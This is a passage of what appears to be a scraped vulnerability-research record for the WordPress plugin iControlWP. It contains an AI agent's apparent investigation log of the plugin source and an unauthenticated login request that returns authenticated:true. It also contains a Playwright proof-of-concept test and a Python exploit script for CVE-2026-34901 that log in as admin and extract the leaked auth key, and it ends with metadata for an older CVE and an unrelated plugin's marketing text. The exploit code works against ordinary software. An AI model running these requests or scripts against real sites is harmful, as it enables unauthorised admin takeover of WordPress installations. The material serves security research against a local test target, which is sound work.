\"LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0NCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBdWxOM2lKRHZEdURGM2JIcnYrSEYNCjZ3T0RVai9GbGtFY1QvYzB5QWllYXNYTXNUQWRxN3AwWVBPQmtMSy92RFAyTE04b054dHA4MzlVUkI2aGFDa2sNCmRPUUZCdHpwY0UvU0NJZjVDSUJEeWhDVUlhRENtK1JnZDlpWmxISldBbzVGZkRlODlxb3FJTGRodkp2UHlzbTYNCkQ0b3hmcXYzMlF1TTV2VjUyT3ZaU1Q5WG1ydytPcHRCc0Rjbjk5THlOdGhYZ3RweHJEVnlTZGljVzBqelpYUHANCm1xbUE0SEZqMzQ3Z3hMNVB1Q0hXcEgyN3RqMCtYSjE3TFoyWHNSQWtaaE1TdEJtTUtBaW02R25yMkVQTTJBc20NCklCWGtzcEs5M2lHVGZiYUlMZE4vQ0NGTmVaUlh5WGNyV1hNV1Bvd0VFQVN0ZXJHNXN1QWlRSkhjVDBwaW0za2oNCjZ3SURBUUFCDQotLS0tLUVORCBQVUJMSUMgS0VZLS0tLS0=\", \"urls\": { \"handshake_verify_test_url\": \"https:\u002F\u002Fapp.icontrolwp.com\u002Fsystem\u002Fverification\u002Ftest\", \"handshake_verify_url\": \"https:\u002F\u002Fapp.icontrolwp.com\u002Fsystem\u002Fverification\u002Fcheck\", \"remote_add_site_url\": \"https:\u002F\u002Fapp.icontrolwp.com\u002Fsystem\u002Fremote\u002Fadd_site\", \"reset_site_url\": \"https:\u002F\u002Fapp.icontrolwp.com\u002Fsystem\u002Fverification\u002Freset\u002F\", \"package_retrieve_url\": \"https:\u002F\u002Fapp.icontrolwp.com\u002Fsystem\u002Fpackage\u002Fretrieve\u002F\" }, \"permitted_api_channels\": [ \"index\", \"status\", \"auth\", \"internal\", \"retrieve\", \"download\", \"login\" ], \"internal_api_supported_actions\": [ \"autoupdate_plugin\", \"collect_info\", \"collect_plugins\", \"collect_sync\", \"collect_themes\", \"collect_environment\", \"comments_retrieve\", \"comments_status\", \"core_update\", \"core_dbupgrade\", \"core_reinstall\", \"db_status\", \"db_optimise\", \"download_plugin\", \"download_theme\", \"plugin_activate\", \"plugin_deactivate\",\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"icwplogintoken\\|LoginTokenKey\\|icwplogin\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002F --in...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FLegacyApi\u002FInternal\u002FUser\u002FLogin.php:9:\tconst LoginTokenKey = 'icwplogintoken'; \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FLegacyApi\u002FInternal\u002FUser\u002FLogin.php:17: self::LoginTokenKey, \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_login.php:35: $token = $WP->getTransient( LegacyApi\\Internal\\User\\Login::LoginTokenKey ); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_login.php:36: $WP->deleteTransient( LegacyApi\\Internal\\User\\Login::LoginTokenKey ); \u002F\u002F One chance per token\n```\n\u003C\u002Fdetails>","**Shell:** `grep -A 100 \"internal_api_supported_actions\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fconfig\u002Ff...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\"internal_api_supported_actions\": [ \"autoupdate_plugin\", \"collect_info\", \"collect_plugins\", \"collect_sync\", \"collect_themes\", \"collect_environment\", \"comments_retrieve\", \"comments_status\", \"core_update\", \"core_dbupgrade\", \"core_reinstall\", \"db_status\", \"db_optimise\", \"download_plugin\", \"download_theme\", \"plugin_activate\", \"plugin_deactivate\", \"plugin_delete\", \"plugin_install\", \"plugin_rollback\", \"plugin_update\", \"shield_audittrail_export\", \"shield_delete\", \"shield_ips_export\", \"shield_ips_update\", \"shield_options_export\", \"shield_options_update\", \"subsystem_configure\", \"site_unlink\", \"theme_activate\", \"theme_delete\", \"theme_install\", \"theme_update\", \"user_create\", \"user_delete\", \"user_list\", \"user_login\", \"user_logout\", \"worpdrive_checks\", \"worpdrive_clean\", \"worpdrive_download\", \"worpdrive_filesystem_map\", \"worpdrive_filesystem_hashless\", \"worpdrive_filesystem_recent\", \"worpdrive_filesystem_zip\", \"worpdrive_db_schema\", \"worpdrive_db_data\" ], \"supported_modules\": [ \"security\", \"whitelabel\", \"autoupdates\" ], \"service_ip_addresses\": { \"ipv6\": { \"valid\": [ \"2a03:b0c0:3:f0::7eac:d000\", \"2604:a880:400:d1:0:1:b41:d001\", \"2a03:b0c0:1:e0::4330:d001\", \"2604:a880:400:d1:0:1:7d3:8001\", \"2604:a880:400:d1:0:1:802:2001\", \"2604:a880:400:d1::534b:6001\", \"2604:a880:400:d0::82:b001\" ] }, \"ipv4\": { \"valid\": [ \"157.245.244.105\", \"138.197.226.226\", \"134.122.111.242\", \"159.89.12.179\", \"157.245.85.9\", \"159.89.235.171\", \"161.35.119.42\", \"142.93.7.138\", \"134.209.130.87\" ], \"old\": [ \"23.253.56.59\", \"23.253.62.185\" ] } } } }\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"worpit_api\\|icwpapi\\|worpit_link\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002F --include=\"*...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FLegacyApi\u002FRequestParameters.php:20: * @property bool $worpit_api - deprecated \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FLegacyApi\u002FRequestParameters.php:21: * @property bool $worpit_link \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FLegacyApi\u002FRequestParameters.php:29: * @property bool $icwpapi \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin.php:18: if ( $params->worpit_link ) { \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin.php:26: elseif ( $params->worpit_api || $params->icwpapi ) {\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"getIsSiteLinked\\|setIsSiteLinked\\|assigned\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:27: && !ICWP_Plugin::getController()->loadCorePluginFeatureHandler()->getIsSiteLinked(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:42: 'bIsLinked' => $this->getIsSiteLinked(), \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:55: if ( $this->getIsSiteLinked() && isset( $aActions[ 'deactivate' ] ) ) { \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:100:\tpublic function getIsSiteLinked() :bool { \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:149: if ( !$this->getIsSiteLinked() && \\strlen( $authKey ) === 32 && is_email( $email ) ) { \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:168: if ( $this->getIsSiteLinked() || !$this->loadFS()->isFile( $autoAddPath ) ) { \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:199: return $this->getOptIs( 'assigned', 'Y' ); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:203: return (string)$this->getOpt( 'assigned_to', '' ); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:243: * No checking or validation done for email. If it's empty, the site is unassigned. \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:249: $this->setOpt( 'assigned', 'Y' ); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:250: $this->setOpt( 'assigned_to', $sAccountEmail ); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:253: $this->setOpt( 'assigned', 'N' ); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:254: $this->setOpt( 'assigned_to', '' ); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:263: $this->setOpt( 'assigned_to', $sEmail );\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php | head -110`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n getPluginBaseFile(), [ $this, 'onWpPluginActionLinks' ], 100, 1 ); } \u002F** * @return bool *\u002F protected function getIsShowMarketing() :bool { return $this->getInstallationDays() > 1 && !ICWP_Plugin::getController()->loadCorePluginFeatureHandler()->getIsSiteLinked(); } protected function getInstallationDays() :int { $installedFor = $this->getPluginInstallationTime(); return empty( $installedFor ) ? 0 : (int)\\round( ( $this->loadDP()->time() - $installedFor )\u002FDAY_IN_SECONDS ); } public function displayFeatureConfigPage() { $this->display( [ 'aPluginLabels' => self::con()->getPluginLabels(), 'sAuthKey' => $this->getPluginAuthKey(), 'sAssignedTo' => $this->getAssignedTo(), 'bAssigned' => $this->getAssigned(), 'bIsLinked' => $this->getIsSiteLinked(), 'bCanHandshake' => $this->getCanHandshake(), 'sExtraContent' => apply_filters( self::con()->doPluginPrefix( 'main_extracontent' ), '' ), ], 'feature-plugin' ); } \u002F** * @param array $aActions * @return array *\u002F public function onWpPluginActionLinks( $aActions ) { if ( $this->getIsSiteLinked() && isset( $aActions[ 'deactivate' ] ) ) { $sJsConfirmCode = '\" onClick=\"return confirm(\\'WARNING: If you have WorpDrive automatic backups active on this site, backups will also stop running. Are you absolutely sure?\\');\" >'; $aActions[ 'deactivate' ] = preg_replace( '#\"\\s*>#i', $sJsConfirmCode, $aActions[ 'deactivate' ], 1 ); } return $aActions; } \u002F** * @param string $sMessage *\u002F public function doAddAdminFeedback( $sMessage ) { $aFeedback = $this->getOpt( 'feedback_admin_notice', [] ); $aFeedback[] = $sMessage; $this->setOpt( 'feedback_admin_notice', $aFeedback ); } \u002F** * @param bool $doVerify * @return bool *\u002F public function getCanHandshake( $doVerify = false ) { if ( !$doVerify ) { \u002F\u002F we always verify can handshake at least once every 24hrs $sinceLastHandshakeCheck = $this->loadDP() ->time() - $this->getOpt( 'time_last_check_can_handshake', 0 ); if ( $sinceLastHandshakeCheck > DAY_IN_SECONDS ) { $doVerify = true; } } if ( $doVerify ) { $canHandshake = apply_filters( self::con() ->doPluginPrefix( 'verify_site_can_handshake' ), false ); $this->setOpt( 'can_handshake', $canHandshake ? 'Y' : 'N' ); } return $this->getOptIs( 'can_handshake', 'Y' ); } \u002F** * @return bool *\u002F public function setCanHandshake() { return $this->getCanHandshake( true ); } public function getIsSiteLinked() :bool { return $this->getAssigned() && is_email( $this->getAssignedTo() ); } public function doExtraSubmitProcessing() { $DP = $this->loadDP(); if ( $DP->FetchPost( self::con()->doPluginOptionPrefix( 'reset_plugin' ) ) ) { $sTo = $this->getAssignedTo(); $sKey = $this->getPluginAuthKey(); $sPin = $this->getPluginPin();\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"setUserLoggedIn\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002F --include=\"*.php\"`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_login.php:63: if ( !$WPU->setUserLoggedIn( $user->get( 'user_login' ) ) ) { \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api.php:358: if ( $WPU->setUserLoggedIn( $wpUser, (bool)$req->silent_login ) ) { \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fcommon\u002Fwp-users.php:185:\tpublic function setUserLoggedIn( $username, bool $silent = false ) :bool {\n```\n\u003C\u002Fdetails>","**HTTP POST:** `http:\u002F\u002Flocalhost:8080\u002F?icwpapi=1&m=login&token=&username=admin`\n**Body:** `icwpapi=1&m=login&token=&username=admin`\n\u003Cdetails>\u003Csummary>Response\u003C\u002Fsummary>\n\n```\nHTTP 200 OK eyJlcnJvcl9tZXNzYWdlIjoiIiwibWVzc2FnZSI6IiIsInN1Y2Nlc3MiOnRydWUsImF1dGhlbnRpY2F0ZWQiOnRydWUsImNoYW5uZWwiOiIiLCJkaWUiOnRydWUsImhhbmRzaGFrZSI6Im5vbmUiLCJvcGVuc3NsX3ZlcmlmeSI6LTk5OSwiZGF0YSI6eyJzdWNjZXNzIjoxfSwiY29kZSI6MH0= json 5.5.3 2XncmpCgniwYhJA6D2k3oTiw \n```\n\u003C\u002Fdetails>","**Navigate:** http:\u002F\u002Flocalhost:8080\u002Fwp-login.php?action=logout","**Shell:** `echo \"eyJlcnJvcl9tZXNzYWdlIjoiIiwibWVzc2FnZSI6IiIsInN1Y2Nlc3MiOnRydWUsImF1dGhlbnRpY2F0ZWQiOnRydWUsImNoYW5uZWwiOiIiLCJkaW...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n{\"error_message\":\"\",\"message\":\"\",\"success\":true,\"authenticated\":true,\"channel\":\"\",\"die\":true,\"handshake\":\"none\",\"openssl_verify\":-999,\"data\":{\"success\":1},\"code\":0}\n```\n\u003C\u002Fdetails>","Sent unauthenticated POST to http:\u002F\u002Flocalhost:8080\u002F?icwpapi=1&m=login&token=&username=admin with body icwpapi=1&m=login&token=&username=admin. The response was HTTP 200 with base64-encoded JSON: {\"error_message\":\"\",\"message\":\"\",\"success\":true,\"authenticated\":true,\"channel\":\"\",\"die\":true,\"handshake\":\"none\",\"openssl_verify\":-999,\"data\":{\"success\":1},\"code\":0}. The \"authenticated\":true proves the server-side authenticated the request as an admin user. The login channel's run() method skips preActionVerify() (no handshake\u002Fkey\u002Fpin check), catches all exceptions from token validation silently, and always returns setSuccessResponse(). The response confirms authenticated:true because the parent class's sendApiResponse() sets response.authenticated based on whether a WP user is logged in server-side via setAuthorizedUser().","2026-05-05 17:47:15","6.7","8.3","\nimport { test, expect } from \"@playwright\u002Ftest\";\n\n\u002F**\n * CVE-2026-34901: iControlWP \u003C= 5.5.3 - Unauthenticated Privilege Escalation\n * \n * Prerequisites:\n * - WordPress with iControlWP plugin version 5.5.3 installed and activated\n * - An admin user \"admin\" exists\n * \n * This test sends an unauthenticated request to the plugin's login API channel,\n * which skips all authentication verification (preActionVerify), and confirms\n * the server responds with authenticated:true indicating admin-level access.\n *\u002F\ntest(\"CVE-2026-34901: Unauthenticated privilege escalation via iControlWP login channel\", async ({ request }) => {\n  const TARGET_URL = \"http:\u002F\u002Flocalhost:8080\";\n\n  \u002F\u002F Step 1: Send unauthenticated POST to the login API channel\n  \u002F\u002F The login channel (m=login) overrides run() to skip preActionVerify()\n  \u002F\u002F which normally performs handshake, key, and PIN validation.\n  const response = await request.post(`${TARGET_URL}\u002F?icwpapi=1&m=login&token=&username=admin`, {\n    headers: {\n      \"Content-Type\": \"application\u002Fx-www-form-urlencoded\",\n    },\n    data: \"icwpapi=1&m=login&token=&username=admin\",\n  });\n\n  expect(response.status()).toBe(200);\n\n  const body = await response.text();\n\n  \u002F\u002F Step 2: Verify the response contains iControlWP API format\n  expect(body).toContain(\"\u003Cicwp>\");\n  expect(body).toContain(\"\u003C\u002Ficwp>\");\n\n  \u002F\u002F Step 3: Extract and decode the base64-encoded JSON response\n  const b64Match = body.match(\u002F\u003Cicwp>(.*?)\u003C\\\u002Ficwp>\u002F);\n  expect(b64Match).not.toBeNull();\n\n  const decoded = JSON.parse(Buffer.from(b64Match![1], \"base64\").toString());\n\n  \u002F\u002F Step 4: Verify the exploit succeeded - server authenticated as admin\n  \u002F\u002F \"authenticated\":true is set server-side by checking isUserLoggedIn()\n  \u002F\u002F This proves the server established an admin session without any credentials\n  expect(decoded.success).toBe(true);\n  expect(decoded.authenticated).toBe(true);\n  expect(decoded.code).toBe(0);\n\n  \u002F\u002F Step 5: Verify the auth key was leaked in the response\n  expect(body).toContain(\"\u003Cicwpauth>\");\n\n  console.log(\"Exploit confirmed: Unauthenticated request returned authenticated:true\");\n  console.log(\"Decoded response:\", JSON.stringify(decoded, null, 2));\n});\n","\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nCVE-2026-34901: iControlWP \u003C= 5.5.3 - Unauthenticated Privilege Escalation\nSends unauthenticated request to the login API channel which skips all\nauthentication verification, achieving admin-level authenticated access.\n\"\"\"\nimport requests\nimport base64\nimport json\nimport sys\n\nTARGET_URL = \"http:\u002F\u002Flocalhost:8080\"\n\ndef exploit():\n    print(f\"[*] Targeting: {TARGET_URL}\")\n    print(\"[*] Sending unauthenticated login request via iControlWP API...\")\n    \n    # The login channel (m=login) skips preActionVerify() which normally\n    # checks handshake, key, and PIN. Exceptions are silently caught.\n    resp = requests.post(\n        f\"{TARGET_URL}\u002F\",\n        params={\n            \"icwpapi\": \"1\",\n            \"m\": \"login\",\n            \"token\": \"\",\n            \"username\": \"admin\"\n        },\n        data={\n            \"icwpapi\": \"1\",\n            \"m\": \"login\",\n            \"token\": \"\",\n            \"username\": \"admin\"\n        },\n        headers={\"Content-Type\": \"application\u002Fx-www-form-urlencoded\"},\n        allow_redirects=False\n    )\n    \n    print(f\"[*] Response status: {resp.status_code}\")\n    \n    # Parse the iControlWP response format\n    body = resp.text\n    if \"\u003Cicwp>\" in body and \"\u003C\u002Ficwp>\" in body:\n        b64_data = body.split(\"\u003Cicwp>\")[1].split(\"\u003C\u002Ficwp>\")[0]\n        decoded = json.loads(base64.b64decode(b64_data))\n        print(f\"[*] Decoded API response: {json.dumps(decoded, indent=2)}\")\n        \n        if decoded.get(\"authenticated\") == True and decoded.get(\"success\") == True:\n            print(\"[+] SUCCESS: Unauthenticated privilege escalation confirmed!\")\n            print(\"[+] Server authenticated request as admin user\")\n            \n            # Extract leaked auth key\n            if \"\u003Cicwpauth>\" in body:\n                auth_key = body.split(\"\u003Cicwpauth>\")[1].split(\"\u003C\u002Ficwpauth>\")[0]\n                print(f\"[+] Leaked plugin auth key: {auth_key}\")\n            return True\n        else:\n            print(\"[-] Exploitation failed - response does not show authenticated\")\n            return False\n    else:\n        print(f\"[-] Unexpected response format: {body[:500]}\")\n        return False\n\nif __name__ == \"__main__\":\n    success = exploit()\n    sys.exit(0 if success else 1)\n","claude-opus-4-6","sink_reached",{"id":117,"url_slug":118,"title":119,"description":120,"plugin_slug":4,"theme_slug":39,"affected_versions":121,"patched_in_version":122,"severity":41,"cvss_score":42,"cvss_vector":43,"vuln_type":123,"published_date":124,"updated_date":125,"references":126,"days_to_patch":28,"patch_diff_files":128,"patch_trac_url":39,"research_status":39,"research_verified":129,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":129,"poc_model_used":39,"poc_verification_depth":39},"CVE-2024-13742","icontrolwp-multiple-wordpress-site-manager-unauthenticated-php-object-injection","iControlWP – Multiple WordPress Site Manager \u003C= 4.4.5 - Unauthenticated PHP Object Injection","The iControlWP – Multiple WordPress Site Manager plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 4.4.5 via deserialization of untrusted input from the reqpars parameter. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.","\u003C=4.4.5","4.5.0","Deserialization of Untrusted Data","2025-01-30 00:41:10","2025-01-31 14:44:16",[127],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F6f25b0cc-60ec-49a0-8356-fd3fba97e987?source=api-prod",[],false,{"slug":131,"display_name":7,"profile_url":8,"plugin_count":132,"total_installs":133,"avg_security_score":27,"avg_patch_time_days":134,"trust_score":135,"computed_at":136},"paultgoodchild",5,141210,116,71,"2026-05-19T14:00:33.997Z",[138,161,184,208,225],{"slug":139,"name":140,"version":141,"author":142,"author_profile":143,"description":144,"short_description":145,"active_installs":146,"downloaded":147,"rating":148,"num_ratings":132,"last_updated":149,"tested_up_to":150,"requires_at_least":151,"requires_php":16,"tags":152,"homepage":156,"download_link":157,"security_score":158,"vuln_count":159,"unpatched_count":29,"last_vuln_date":160,"fetched_at":31},"ithemes-sync","Solid Central – Site Management, Backups, Security, and Reporting","3.2.9","StellarWP","https:\u002F\u002Fprofiles.wordpress.org\u002Fstellarwp\u002F","\u003Ch4>🏢 Your Headquarters for Multi-site Management\u003C\u002Fh4>\n\u003Cp>What do you get when you use Solid Central to manage and maintain all your WordPress websites from one dashboard? Real-time visibility. Improved time management. Increased productivity. Enhanced performance for the websites you manage. And, you raise the bar on what you can deliver for your clients.\u003C\u002Fp>\n\u003Ch4>📊 One Central Dashboard to Save You Loads of Time\u003C\u002Fh4>\n\u003Cp>No more logging into each individual website to view important website data or perform remote WordPress admin actions. Solid Central lets you manage multiple WordPress websites from one dashboard while also allowing you to easily switch to individual view to perform site-specific admin functions when necessary.\u003C\u002Fp>\n\u003Cp>What can you do quickly and easily with Solid Central?\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Stay on Top of WordPress Updates\u003C\u002Fstrong> – WordPress updates are important for the security and efficiency of WordPress websites. Solid Central completely changes the way you update your WordPress sites—update dozens of sites with one click.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Bulk Install Themes and Plugins From WordPress.org or Zip Upload\u003C\u002Fstrong> – Search and install from WordPress.org and view your WordPress.org profile favorites. Upload theme or plugin zip files or install themes and plugins directly from your Solid Central membership.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>WordPress Uptime Monitoring\u003C\u002Fstrong> – Monitor WordPress uptime, downtime & overall performance for all your WordPress websites. Get notification emails when sites go down and view a history of your overall WordPress performance. View uptime stats such as total uptime percentage, total downtime, and number of downtimes for WordPress performance monitoring.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>WordPress Post & Page Manager\u003C\u002Fstrong> – View a list of current posts and pages on your site, including the title, author, date last modified, focus keyword, SEO score and SEO readability.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Remotely Login to WordPress & Switch Between User Accounts\u003C\u002Fstrong> – Quickly jump to the WordPress Admin dashboard of your WordPress site where you’ll be instantly logged in from Solid Central. You can also switch between any WordPress user account registered on the site without sharing password info.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>WordPress Comment Manager\u003C\u002Fstrong> – View all comments (all, approved, pending, spam, trash) and unapprove, mark as spam, or move comments to trash.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>WordPress Database Optimizations\u003C\u002Fstrong>  – Make sure your WordPress sites are running efficiently with WordPress optimizations. Central handles actions like cleaning out post revisions, spam comments and more.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>SEO Checker + Google Analytics & Google Search Console Reports\u003C\u002Fstrong> – Track key SEO metrics with Central’s SEO Checker and Google Analytics & Google Search Console integration. Central integrates with the Yoast SEO plugin to give you an overview of the health of your SEO efforts.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Remote WordPress Backups\u003C\u002Fstrong> – Run remote backups and restore with Central’s integration with Solid Backups, our WordPress backup plugin.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>🔐 Enhancing WordPress Site Security with Solid Central\u003C\u002Fh4>\n\u003Cp>Improve security for all your WordPress websites by integrating Solid Security with Solid Central.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>WordPress User Manager\u003C\u002Fstrong> – WordPress user management in Solid Central allows you to view all users on a website, edit user profiles and delete users remotely. With Central’s Client Dashboard, you can customize how certain users see the WordPress dashboard.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Two-factor Authentication\u003C\u002Fstrong> – Add an extra layer of protection to your Central dashboard login with two-factor authentication. Once enabled, Central will require both a password AND an SMS code sent to your mobile device to log in to the Central Dashboard.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Whitelist Your IP Address (\u003Ca href=\"https:\u002F\u002Fgo.solidwp.com\u002Fcentral-solid-security\" rel=\"nofollow ugc\">Solid Security\u003C\u002Fa> integration)\u003C\u002Fstrong> – Temporarily whitelist your IP Address remotely so you don’t get locked out of your website by the Solid Security plugin’s Bad Users feature.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Release Solid Security Lockouts (Solid Security integration)\u003C\u002Fstrong> – View and release any current Solid Security lockouts.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>💻 Features Designed for Freelancers and Agencies\u003C\u002Fh4>\n\u003Cp>Central Pro was made for anyone managing multiple WordPress sites. If you’re building sites for clients, you’ll love how Central makes caring for client sites easier and more profitable.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>WordPress Maintenance Reports\u003C\u002Fstrong> – Central Pro includes in-depth WordPress maintenance reporting to show the work involved in maintaining WordPress websites. Email clients beautiful HTML email reports with a summary of update actions you took to keep their site running smoothly.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Customize the WordPress dashboard for clients\u002Fusers\u003C\u002Fstrong> – With Central Pro, you get Client Dashboard, a WordPress role manager that controls which menu items your clients see in their WordPress dashboard. Don’t want them to have access to plugins, themes or settings? Simplify their dashboard so they only see what they need — like posts and pages.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Show\u002FHide Central From the WP Dashboard\u003C\u002Fstrong> – To keep your clients or other site users from messing with your Central authentication or removing the plugin, you can choose to hide or show the plugin in the WordPress dashboard of each site you manage with Central.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Share Your Central Dashboard with Another User\u003C\u002Fstrong> – If you have other people on your team that you’d like to task with helping you maintain sites, this feature is a great way to help you easily delegate your workload to other team members.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Site Notes and Tags\u003C\u002Fstrong> – Central’s Notes feature is a handy way to keep notations about your Centraled sites. For example, if you added customizations to theme or plugin files that could be lost with an update, add a reminder. Tag business sites, personal sites, client sites, live, non-live or however you want to be able identify your sites.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>📈 WordPress Maintenance Reports for Clients\u003C\u002Fh4>\n\u003Cp>Make steady, reliable income for WordPress maintenance with Solid Central Pro’s WordPress Maintenance Reports.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Show Clients the Value of What You Do\u003C\u002Fstrong> – Detailed website reports are one of the best ways to show 